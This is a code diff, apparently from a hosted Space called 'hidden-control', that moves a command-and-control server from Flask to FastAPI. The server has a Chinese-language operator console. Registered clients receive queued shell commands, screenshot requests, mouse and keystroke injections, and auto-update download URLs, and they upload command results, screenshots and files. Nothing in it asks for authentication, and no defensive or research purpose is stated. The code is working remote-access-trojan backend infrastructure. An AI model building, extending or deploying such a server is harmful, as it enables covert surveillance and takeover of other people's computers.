Files changed (3) hide show
  1. Dockerfile +1 -1
  2. app.py +278 -168
  3. requirements.txt +5 -3
Dockerfile CHANGED
@@ -9,4 +9,4 @@ COPY . .
9
 
10
  EXPOSE 7860
11
 
12
- CMD ["gunicorn", "--bind", "0.0.0.0:7860", "--workers", "1", "--timeout", "120", "app:app"]
 
9
 
10
  EXPOSE 7860
11
 
12
+ CMD ["uvicorn", "app:app", "--host", "0.0.0.0", "--port", "7860"]
app.py CHANGED
@@ -2,17 +2,25 @@
2
  import os
3
  import sqlite3
4
  import uuid
5
- import json
6
- import time
7
  import glob
8
  from datetime import datetime
9
- from flask import Flask, request, jsonify, send_file, render_template
10
- from werkzeug.utils import secure_filename
 
 
 
 
 
11
 
12
- app = Flask(__name__)
13
 
14
- HF_SPACE_ID = os.environ.get('SPACE_ID', '')
15
- HF_TOKEN = os.environ.get('HF_TOKEN', '')
 
 
 
 
 
16
 
17
  DB_PATH = os.environ.get('DB_PATH', '/tmp/data.db')
18
  UPLOAD_DIR = os.environ.get('UPLOAD_DIR', '/tmp/uploads')
@@ -71,228 +79,330 @@ def get_db():
71
  conn.row_factory = sqlite3.Row
72
  return conn
73
 
74
- @app.after_request
75
- def add_headers(response):
76
- response.headers.add('Access-Control-Allow-Origin', '*')
77
- response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')
78
- response.headers.add('Access-Control-Allow-Methods', 'GET,POST,PUT,DELETE,OPTIONS')
79
- return response
80
 
81
- @app.route('/api/client/register', methods=['POST'])
82
- def register_client():
83
- data = request.get_json()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
84
  client_id = data.get('id') or str(uuid.uuid4())
85
  name = data.get('name', 'Unknown')
86
  version = data.get('version', '')
87
  os_info = data.get('os', '')
88
 
89
  conn = get_db()
90
- conn.execute('''
91
- INSERT OR REPLACE INTO clients (id, name, status, last_seen, version, os, ip)
92
- VALUES (?, ?, 'online', ?, ?, ?, ?)
93
- ''', (client_id, name, datetime.now().isoformat(), version, os_info, request.remote_addr))
94
  conn.commit()
95
  conn.close()
96
 
97
- return jsonify({'id': client_id, 'name': name, 'status': 'online'})
98
 
99
- @app.route('/api/client/heartbeat', methods=['POST'])
100
- def heartbeat():
101
- data = request.get_json()
102
  client_id = data.get('client_id')
103
 
104
  conn = get_db()
105
  conn.execute("UPDATE clients SET last_seen = ?, status = 'online' WHERE id = ?",
106
- (datetime.now().isoformat(), client_id))
107
-
108
- cmd = conn.execute('''
109
- SELECT id, client_id, type, payload, status FROM commands
110
- WHERE client_id = ? AND status = 'pending'
111
- ORDER BY created_at ASC LIMIT 1
112
- ''', (client_id,)).fetchone()
113
-
114
  conn.commit()
115
  conn.close()
116
 
117
  if cmd:
118
- return jsonify({'commands': [dict(cmd)]})
119
- return jsonify({'commands': []})
120
 
121
- @app.route('/api/command', methods=['POST'])
122
- def send_command():
123
- data = request.get_json()
124
  cmd_id = str(uuid.uuid4())
125
  client_id = data.get('client_id')
126
  cmd_type = data.get('type', 'shell')
127
  payload = data.get('payload', '')
128
 
129
  conn = get_db()
130
- conn.execute('''
131
- INSERT INTO commands (id, client_id, type, payload, status, created_at)
132
- VALUES (?, ?, ?, ?, 'pending', ?)
133
- ''', (cmd_id, client_id, cmd_type, payload, datetime.now().isoformat()))
134
  conn.commit()
135
  conn.close()
136
 
137
- return jsonify({'id': cmd_id, 'status': 'pending'})
138
 
139
- @app.route('/api/command/result', methods=['POST'])
140
- def command_result():
141
- data = request.get_json()
142
  cmd_id = data.get('command_id')
143
  result = data.get('result', '')
144
  status = data.get('status', 'completed')
145
 
146
  conn = get_db()
147
- conn.execute("UPDATE commands SET result = ?, status = ? WHERE id = ?",
148
- (result, status, cmd_id))
149
  conn.commit()
150
  conn.close()
151
 
152
- return jsonify({'status': 'ok'})
153
 
154
- @app.route('/api/screenshot', methods=['POST'])
155
- def upload_screenshot():
156
- client_id = request.form.get('client_id')
157
- if not client_id:
158
- return jsonify({'error': 'client_id required'}), 400
159
-
160
- if 'screenshot' not in request.files:
161
- return jsonify({'error': 'no file'}), 400
162
-
163
- file = request.files['screenshot']
164
- if file.filename == '':
165
- return jsonify({'error': 'empty filename'}), 400
166
-
167
- ext = os.path.splitext(file.filename)[1] or '.jpg'
168
- filename = f'{client_id}_{int(time.time())}{ext}'
169
  filepath = f'{UPLOAD_DIR}/screenshots/{filename}'
170
- file.save(filepath)
171
-
172
- conn = get_db()
173
- conn.execute("UPDATE clients SET last_seen = ? WHERE id = ?",
174
- (datetime.now().isoformat(), client_id))
175
- conn.commit()
176
- conn.close()
177
-
178
- return jsonify({'url': f'/uploads/screenshots/{filename}'})
179
-
180
- @app.route('/api/file/upload', methods=['POST'])
181
- def upload_file():
182
- client_id = request.form.get('client_id')
183
- if not client_id:
184
- return jsonify({'error': 'client_id required'}), 400
185
-
186
- if 'file' not in request.files:
187
- return jsonify({'error': 'no file'}), 400
188
 
189
- file = request.files['file']
190
- filename = secure_filename(file.filename)
191
- if filename == '':
192
- return jsonify({'error': 'empty filename'}), 400
193
 
194
- save_filename = f'{client_id}_{filename}'
195
- filepath = f'{UPLOAD_DIR}/files/{save_filename}'
196
- file.save(filepath)
197
-
198
- file_id = str(uuid.uuid4())
199
  conn = get_db()
200
- conn.execute('''
201
- INSERT INTO files (id, client_id, filename, size, uploaded_at)
202
- VALUES (?, ?, ?, ?, ?)
203
- ''', (file_id, client_id, filename, os.path.getsize(filepath), datetime.now().isoformat()))
204
  conn.commit()
205
  conn.close()
206
 
207
- return jsonify({'id': file_id, 'filename': save_filename})
208
 
209
- @app.route('/api/file/download', methods=['GET'])
210
- def download_file():
211
- filename = request.args.get('filename')
212
- if not filename:
213
- return jsonify({'error': 'filename required'}), 400
214
- return send_file(f'{UPLOAD_DIR}/files/{filename}')
 
215
 
216
- @app.route('/api/clients', methods=['GET'])
217
- def get_clients():
218
  conn = get_db()
219
  clients = conn.execute('SELECT * FROM clients ORDER BY last_seen DESC').fetchall()
220
  conn.close()
221
- return jsonify([dict(row) for row in clients])
222
 
223
- @app.route('/api/commands', methods=['GET'])
224
- def get_commands():
225
- client_id = request.args.get('client_id')
226
- if not client_id:
227
- return jsonify({'error': 'client_id required'}), 400
228
-
229
- conn = get_db()
230
- commands = conn.execute('''
231
- SELECT * FROM commands WHERE client_id = ? ORDER BY created_at DESC
232
- ''', (client_id,)).fetchall()
233
- conn.close()
234
- return jsonify([dict(row) for row in commands])
235
-
236
- @app.route('/api/config', methods=['GET'])
237
- def get_config():
238
- conn = get_db()
239
- configs = conn.execute('SELECT key, value FROM configs').fetchall()
240
- conn.close()
241
-
242
- config = {
243
- 'server_url': os.environ.get('SERVER_URL', request.host_url),
244
  'poll_interval': 5,
245
  'auto_update': True,
246
  'latest_version': '1.0.0',
247
  'download_url': ''
248
  }
249
-
250
- for row in configs:
251
- if row['key'] == 'latest_version':
252
- config['latest_version'] = row['value']
253
- elif row['key'] == 'download_url':
254
- config['download_url'] = row['value']
255
-
256
- return jsonify(config)
257
 
258
- @app.route('/api/config/update', methods=['POST'])
259
- def update_config():
260
- data = request.get_json()
261
-
262
  conn = get_db()
263
  if data.get('latest_version'):
264
- conn.execute('''
265
- INSERT OR REPLACE INTO configs (key, value, updated_at)
266
- VALUES (?, ?, ?)
267
- ''', ('latest_version', data['latest_version'], datetime.now().isoformat()))
268
  if data.get('download_url'):
269
- conn.execute('''
270
- INSERT OR REPLACE INTO configs (key, value, updated_at)
271
- VALUES (?, ?, ?)
272
- ''', ('download_url', data['download_url'], datetime.now().isoformat()))
273
  conn.commit()
274
  conn.close()
275
-
276
- return jsonify({'status': 'ok'})
277
-
278
- @app.route('/')
279
- def index():
280
- return render_template('index.html')
281
-
282
- @app.route('/api/screenshots/<client_id>')
283
- def get_screenshot(client_id):
284
- pattern = f'{UPLOAD_DIR}/screenshots/{client_id}_*'
285
- files = sorted(glob.glob(pattern), key=os.path.getmtime, reverse=True)
286
- if files:
287
- return send_file(files[0])
288
- return jsonify({'error': 'No screenshot'}), 404
289
-
290
- @app.route('/uploads/<path:filename>')
291
- def serve_upload(filename):
292
- return send_file(f'{UPLOAD_DIR}/{filename}')
293
 
294
- if __name__ == '__main__':
295
- init_db()
296
- port = int(os.environ.get('PORT', 8080))
297
- print(f'Server running on port {port}')
298
- app.run(host='0.0.0.0', port=port, debug=False)
 
2
  import os
3
  import sqlite3
4
  import uuid
 
 
5
  import glob
6
  from datetime import datetime
7
+ from fastapi import FastAPI, Request, UploadFile, File, Form, HTTPException
8
+ from fastapi.responses import HTMLResponse, FileResponse
9
+ from fastapi.middleware.cors import CORSMiddleware
10
+ from fastapi.staticfiles import StaticFiles
11
+ from fastapi.templating import Jinja2Templates
12
+ from typing import Optional
13
+ import aiofiles
14
 
15
+ app = FastAPI()
16
 
17
+ app.add_middleware(
18
+ CORSMiddleware,
19
+ allow_origins=["*"],
20
+ allow_credentials=True,
21
+ allow_methods=["*"],
22
+ allow_headers=["*"],
23
+ )
24
 
25
  DB_PATH = os.environ.get('DB_PATH', '/tmp/data.db')
26
  UPLOAD_DIR = os.environ.get('UPLOAD_DIR', '/tmp/uploads')
 
79
  conn.row_factory = sqlite3.Row
80
  return conn
81
 
82
+ init_db()
 
 
 
 
 
83
 
84
+ HTML_CONTENT = '''<!DOCTYPE html>
85
+ <html lang="zh-CN">
86
+ <head>
87
+ <meta charset="UTF-8">
88
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
89
+ <title>远程控制台</title>
90
+ <style>
91
+ * { margin: 0; padding: 0; box-sizing: border-box; }
92
+ body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; background: #1a1a2e; color: #eee; min-height: 100vh; }
93
+ .container { max-width: 1400px; margin: 0 auto; padding: 20px; }
94
+ h1 { text-align: center; margin-bottom: 30px; color: #00d9ff; }
95
+ .clients-section { margin-bottom: 30px; }
96
+ .section-title { font-size: 1.2em; margin-bottom: 15px; color: #aaa; }
97
+ .clients-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 15px; }
98
+ .client-card { background: #16213e; border-radius: 10px; padding: 15px; border: 1px solid #0f3460; cursor: pointer; transition: all 0.3s; }
99
+ .client-card:hover { border-color: #00d9ff; }
100
+ .client-card.selected { border-color: #00d9ff; background: #1f4068; }
101
+ .client-card.offline { opacity: 0.5; }
102
+ .client-name { font-size: 1.1em; font-weight: bold; margin-bottom: 8px; }
103
+ .client-info { font-size: 0.85em; color: #888; }
104
+ .client-status { display: inline-block; padding: 2px 8px; border-radius: 4px; font-size: 0.8em; margin-top: 8px; }
105
+ .status-online { background: #00d9ff22; color: #00d9ff; }
106
+ .status-offline { background: #ff6b6b22; color: #ff6b6b; }
107
+ .panel { background: #16213e; border-radius: 10px; padding: 20px; border: 1px solid #0f3460; display: none; }
108
+ .panel.active { display: block; }
109
+ .tabs { display: flex; gap: 10px; margin-bottom: 20px; border-bottom: 1px solid #0f3460; padding-bottom: 10px; flex-wrap: wrap; }
110
+ .tab { padding: 8px 16px; border-radius: 5px; cursor: pointer; background: transparent; border: none; color: #888; transition: all 0.3s; }
111
+ .tab:hover { color: #00d9ff; }
112
+ .tab.active { background: #00d9ff; color: #1a1a2e; }
113
+ .command-input { display: flex; gap: 10px; margin-bottom: 15px; flex-wrap: wrap; }
114
+ .command-input input { flex: 1; min-width: 200px; padding: 10px; border-radius: 5px; border: 1px solid #0f3460; background: #1a1a2e; color: #eee; }
115
+ .btn { padding: 10px 20px; border-radius: 5px; border: none; cursor: pointer; background: #00d9ff; color: #1a1a2e; font-weight: bold; }
116
+ .btn:hover { opacity: 0.9; }
117
+ .btn-danger { background: #ff6b6b; }
118
+ .btn-success { background: #00ff88; }
119
+ .output { background: #0a0a15; border-radius: 5px; padding: 15px; min-height: 200px; max-height: 400px; overflow-y: auto; font-family: monospace; white-space: pre-wrap; }
120
+ .screenshot-view { text-align: center; }
121
+ .screenshot-view img { max-width: 100%; border-radius: 5px; }
122
+ .no-client { text-align: center; color: #666; padding: 50px; }
123
+ </style>
124
+ </head>
125
+ <body>
126
+ <div class="container">
127
+ <h1>远程控制台</h1>
128
+ <div class="clients-section">
129
+ <div class="section-title">在线客户端</div>
130
+ <div class="clients-grid" id="clientsGrid"></div>
131
+ </div>
132
+ <div class="panel" id="controlPanel">
133
+ <div class="tabs">
134
+ <button class="tab active" data-tab="shell">Shell</button>
135
+ <button class="tab" data-tab="screenshot">截图</button>
136
+ <button class="tab" data-tab="control">远程控制</button>
137
+ </div>
138
+ <div class="tab-content" id="tab-shell">
139
+ <div class="command-input">
140
+ <input type="text" id="commandInput" placeholder="输入命令...">
141
+ <button class="btn" onclick="sendCommand()">执行</button>
142
+ </div>
143
+ <div class="output" id="commandOutput">等待命令...</div>
144
+ </div>
145
+ <div class="tab-content" id="tab-screenshot" style="display:none;">
146
+ <button class="btn" onclick="requestScreenshot()">获取截图</button>
147
+ <div class="screenshot-view" id="screenshotView" style="margin-top:15px;"></div>
148
+ </div>
149
+ <div class="tab-content" id="tab-control" style="display:none;">
150
+ <p style="color:#888;margin-bottom:15px;">远程控制</p>
151
+ <div class="command-input">
152
+ <button class="btn" onclick="sendMouseClick('left')">左键</button>
153
+ <button class="btn" onclick="sendMouseClick('right')">右键</button>
154
+ <input type="text" id="keyInput" placeholder="按键" style="flex:0.5;min-width:150px;">
155
+ <button class="btn" onclick="sendKeyPress()">发送</button>
156
+ </div>
157
+ </div>
158
+ </div>
159
+ <div class="no-client" id="noClient">请选择一个客户端</div>
160
+ </div>
161
+ <script>
162
+ let selectedClient = null;
163
+ let pollInterval = null;
164
+ const API_BASE = '';
165
+
166
+ async function loadClients() {
167
+ try {
168
+ const resp = await fetch('/api/clients');
169
+ const clients = await resp.json();
170
+ const grid = document.getElementById('clientsGrid');
171
+ grid.innerHTML = clients.length ? '' : '<p style="color:#666;">暂无在线客户端</p>';
172
+ clients.forEach(client => {
173
+ const card = document.createElement('div');
174
+ card.className = 'client-card' + (client.status === 'offline' ? ' offline' : '');
175
+ card.onclick = () => selectClient(client);
176
+ const lastSeen = client.last_seen ? new Date(client.last_seen).toLocaleString() : 'N/A';
177
+ card.innerHTML = `<div class="client-name">${client.name || 'Unknown'}</div>
178
+ <div class="client-info">ID: ${(client.id || '').substring(0, 8)}...</div>
179
+ <div class="client-status ${client.status === 'online' ? 'status-online' : 'status-offline'}">${client.status}</div>
180
+ <div class="client-info">${lastSeen}</div>`;
181
+ grid.appendChild(card);
182
+ });
183
+ } catch(e) { console.error(e); }
184
+ }
185
+
186
+ function selectClient(client) {
187
+ selectedClient = client;
188
+ document.querySelectorAll('.client-card').forEach(c => c.classList.remove('selected'));
189
+ document.querySelectorAll('.client-card').forEach(c => { if((c.innerHTML || '').includes((client.id || '').substring(0, 8))) c.classList.add('selected'); });
190
+ document.getElementById('controlPanel').classList.add('active');
191
+ document.getElementById('noClient').style.display = 'none';
192
+ startPolling();
193
+ }
194
+
195
+ function startPolling() {
196
+ if (pollInterval) clearInterval(pollInterval);
197
+ pollInterval = setInterval(pollCommands, 3000);
198
+ }
199
+
200
+ async function pollCommands() {
201
+ if (!selectedClient) return;
202
+ try {
203
+ const resp = await fetch('/api/client/heartbeat', {
204
+ method: 'POST', headers: {'Content-Type': 'application/json'},
205
+ body: JSON.stringify({client_id: selectedClient.id})
206
+ });
207
+ const data = await resp.json();
208
+ if (data.commands && data.commands.length > 0) {
209
+ data.commands.forEach(cmd => executeCommand(cmd));
210
+ }
211
+ } catch(e) { console.error(e); }
212
+ }
213
+
214
+ async function executeCommand(cmd) {
215
+ document.getElementById('commandOutput').textContent = '执行: ' + cmd.payload;
216
+ await fetch('/api/command/result', {
217
+ method: 'POST', headers: {'Content-Type': 'application/json'},
218
+ body: JSON.stringify({command_id: cmd.id, status: 'executed'})
219
+ });
220
+ }
221
+
222
+ async function sendCommand() {
223
+ const cmd = document.getElementById('commandInput').value.trim();
224
+ if (!cmd || !selectedClient) return;
225
+ document.getElementById('commandOutput').textContent = '发送: ' + cmd;
226
+ await fetch('/api/command', {
227
+ method: 'POST', headers: {'Content-Type': 'application/json'},
228
+ body: JSON.stringify({client_id: selectedClient.id, type: 'shell', payload: cmd})
229
+ });
230
+ document.getElementById('commandInput').value = '';
231
+ }
232
+
233
+ async function requestScreenshot() {
234
+ if (!selectedClient) return;
235
+ document.getElementById('screenshotView').innerHTML = '<p style="color:#888;">获取中...</p>';
236
+ await fetch('/api/command', {
237
+ method: 'POST', headers: {'Content-Type': 'application/json'},
238
+ body: JSON.stringify({client_id: selectedClient.id, type: 'screenshot', payload: ''})
239
+ });
240
+ setTimeout(loadScreenshot, 2000);
241
+ }
242
+
243
+ async function loadScreenshot() {
244
+ if (!selectedClient) return;
245
+ const t = Date.now();
246
+ document.getElementById('screenshotView').innerHTML = `<img src="/api/screenshots/${selectedClient.id}?t=${t}">`;
247
+ }
248
+
249
+ async function sendMouseClick(button) {
250
+ if (!selectedClient) return;
251
+ await fetch('/api/command', {
252
+ method: 'POST', headers: {'Content-Type': 'application/json'},
253
+ body: JSON.stringify({client_id: selectedClient.id, type: 'mouse_click', payload: JSON.stringify({button: button, x: 0, y: 0})})
254
+ });
255
+ }
256
+
257
+ async function sendKeyPress() {
258
+ const key = document.getElementById('keyInput').value.trim();
259
+ if (!key || !selectedClient) return;
260
+ await fetch('/api/command', {
261
+ method: 'POST', headers: {'Content-Type': 'application/json'},
262
+ body: JSON.stringify({client_id: selectedClient.id, type: 'key_press', payload: key})
263
+ });
264
+ }
265
+
266
+ document.querySelectorAll('.tab').forEach(tab => {
267
+ tab.onclick = () => {
268
+ document.querySelectorAll('.tab').forEach(t => t.classList.remove('active'));
269
+ document.querySelectorAll('.tab-content').forEach(c => c.style.display = 'none');
270
+ tab.classList.add('active');
271
+ document.getElementById('tab-' + tab.dataset.tab).style.display = 'block';
272
+ };
273
+ });
274
+
275
+ document.getElementById('commandInput').onkeypress = e => { if (e.key === 'Enter') sendCommand(); };
276
+ loadClients(); setInterval(loadClients, 5000);
277
+ </script>
278
+ </body>
279
+ </html>'''
280
+
281
+ @app.get("/")
282
+ async def root():
283
+ return HTMLResponse(content=HTML_CONTENT)
284
+
285
+ @app.post("/api/client/register")
286
+ async def register_client(request: Request):
287
+ data = await request.json()
288
  client_id = data.get('id') or str(uuid.uuid4())
289
  name = data.get('name', 'Unknown')
290
  version = data.get('version', '')
291
  os_info = data.get('os', '')
292
 
293
  conn = get_db()
294
+ conn.execute('''INSERT OR REPLACE INTO clients (id, name, status, last_seen, version, os, ip)
295
+ VALUES (?, ?, 'online', ?, ?, ?, ?)''',
296
+ (client_id, name, datetime.now().isoformat(), version, os_info, request.client.host))
 
297
  conn.commit()
298
  conn.close()
299
 
300
+ return {'id': client_id, 'name': name, 'status': 'online'}
301
 
302
+ @app.post("/api/client/heartbeat")
303
+ async def heartbeat(request: Request):
304
+ data = await request.json()
305
  client_id = data.get('client_id')
306
 
307
  conn = get_db()
308
  conn.execute("UPDATE clients SET last_seen = ?, status = 'online' WHERE id = ?",
309
+ (datetime.now().isoformat(), client_id))
310
+ cmd = conn.execute('''SELECT id, client_id, type, payload, status FROM commands
311
+ WHERE client_id = ? AND status = 'pending' ORDER BY created_at ASC LIMIT 1''', (client_id,)).fetchone()
 
 
 
 
 
312
  conn.commit()
313
  conn.close()
314
 
315
  if cmd:
316
+ return {'commands': [dict(cmd)]}
317
+ return {'commands': []}
318
 
319
+ @app.post("/api/command")
320
+ async def send_command(request: Request):
321
+ data = await request.json()
322
  cmd_id = str(uuid.uuid4())
323
  client_id = data.get('client_id')
324
  cmd_type = data.get('type', 'shell')
325
  payload = data.get('payload', '')
326
 
327
  conn = get_db()
328
+ conn.execute('''INSERT INTO commands (id, client_id, type, payload, status, created_at)
329
+ VALUES (?, ?, ?, ?, 'pending', ?)''',
330
+ (cmd_id, client_id, cmd_type, payload, datetime.now().isoformat()))
 
331
  conn.commit()
332
  conn.close()
333
 
334
+ return {'id': cmd_id, 'status': 'pending'}
335
 
336
+ @app.post("/api/command/result")
337
+ async def command_result(request: Request):
338
+ data = await request.json()
339
  cmd_id = data.get('command_id')
340
  result = data.get('result', '')
341
  status = data.get('status', 'completed')
342
 
343
  conn = get_db()
344
+ conn.execute("UPDATE commands SET result = ?, status = ? WHERE id = ?", (result, status, cmd_id))
 
345
  conn.commit()
346
  conn.close()
347
 
348
+ return {'status': 'ok'}
349
 
350
+ @app.post("/api/screenshot")
351
+ async def upload_screenshot(client_id: str = Form(...), screenshot: UploadFile = File(...)):
352
+ ext = os.path.splitext(screenshot.filename)[1] or '.jpg'
353
+ filename = f'{client_id}_{int(datetime.now().timestamp())}{ext}'
 
 
 
 
 
 
 
 
 
 
 
354
  filepath = f'{UPLOAD_DIR}/screenshots/{filename}'
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
355
 
356
+ content = await screenshot.read()
357
+ async with aiofiles.open(filepath, 'wb') as f:
358
+ await f.write(content)
 
359
 
 
 
 
 
 
360
  conn = get_db()
361
+ conn.execute("UPDATE clients SET last_seen = ? WHERE id = ?", (datetime.now().isoformat(), client_id))
 
 
 
362
  conn.commit()
363
  conn.close()
364
 
365
+ return {'url': f'/api/screenshots/{filename}'}
366
 
367
+ @app.get("/api/screenshots/{client_id}")
368
+ async def get_screenshot(client_id: str):
369
+ pattern = f'{UPLOAD_DIR}/screenshots/{client_id}_*'
370
+ files = sorted(glob.glob(pattern), key=os.path.getmtime, reverse=True)
371
+ if files:
372
+ return FileResponse(files[0], media_type='image/jpeg')
373
+ raise HTTPException(status_code=404, detail="No screenshot")
374
 
375
+ @app.get("/api/clients")
376
+ async def get_clients():
377
  conn = get_db()
378
  clients = conn.execute('SELECT * FROM clients ORDER BY last_seen DESC').fetchall()
379
  conn.close()
380
+ return [dict(row) for row in clients]
381
 
382
+ @app.get("/api/config")
383
+ async def get_config():
384
+ return {
385
+ 'server_url': os.environ.get('SERVER_URL', 'https://profile114-hidden-control.hf.space'),
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
386
  'poll_interval': 5,
387
  'auto_update': True,
388
  'latest_version': '1.0.0',
389
  'download_url': ''
390
  }
 
 
 
 
 
 
 
 
391
 
392
+ @app.post("/api/config/update")
393
+ async def update_config(request: Request):
394
+ data = await request.json()
 
395
  conn = get_db()
396
  if data.get('latest_version'):
397
+ conn.execute('INSERT OR REPLACE INTO configs (key, value, updated_at) VALUES (?, ?, ?)',
398
+ ('latest_version', data['latest_version'], datetime.now().isoformat()))
 
 
399
  if data.get('download_url'):
400
+ conn.execute('INSERT OR REPLACE INTO configs (key, value, updated_at) VALUES (?, ?, ?)',
401
+ ('download_url', data['download_url'], datetime.now().isoformat()))
 
 
402
  conn.commit()
403
  conn.close()
404
+ return {'status': 'ok'}
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
405
 
406
+ if __name__ == "__main__":
407
+ import uvicorn
408
+ uvicorn.run(app, host="0.0.0.0", port=7860)
 
 
requirements.txt CHANGED
@@ -1,3 +1,5 @@
1
- Flask>=2.0.0
2
- werkzeug>=2.0.0
3
- gunicorn>=20.0.0
 
 
 
1
+ fastapi>=0.100.0
2
+ uvicorn[standard]>=0.23.0
3
+ python-multipart>=0.0.6
4
+ aiofiles>=23.0.0
5
+ jinja2>=3.0.0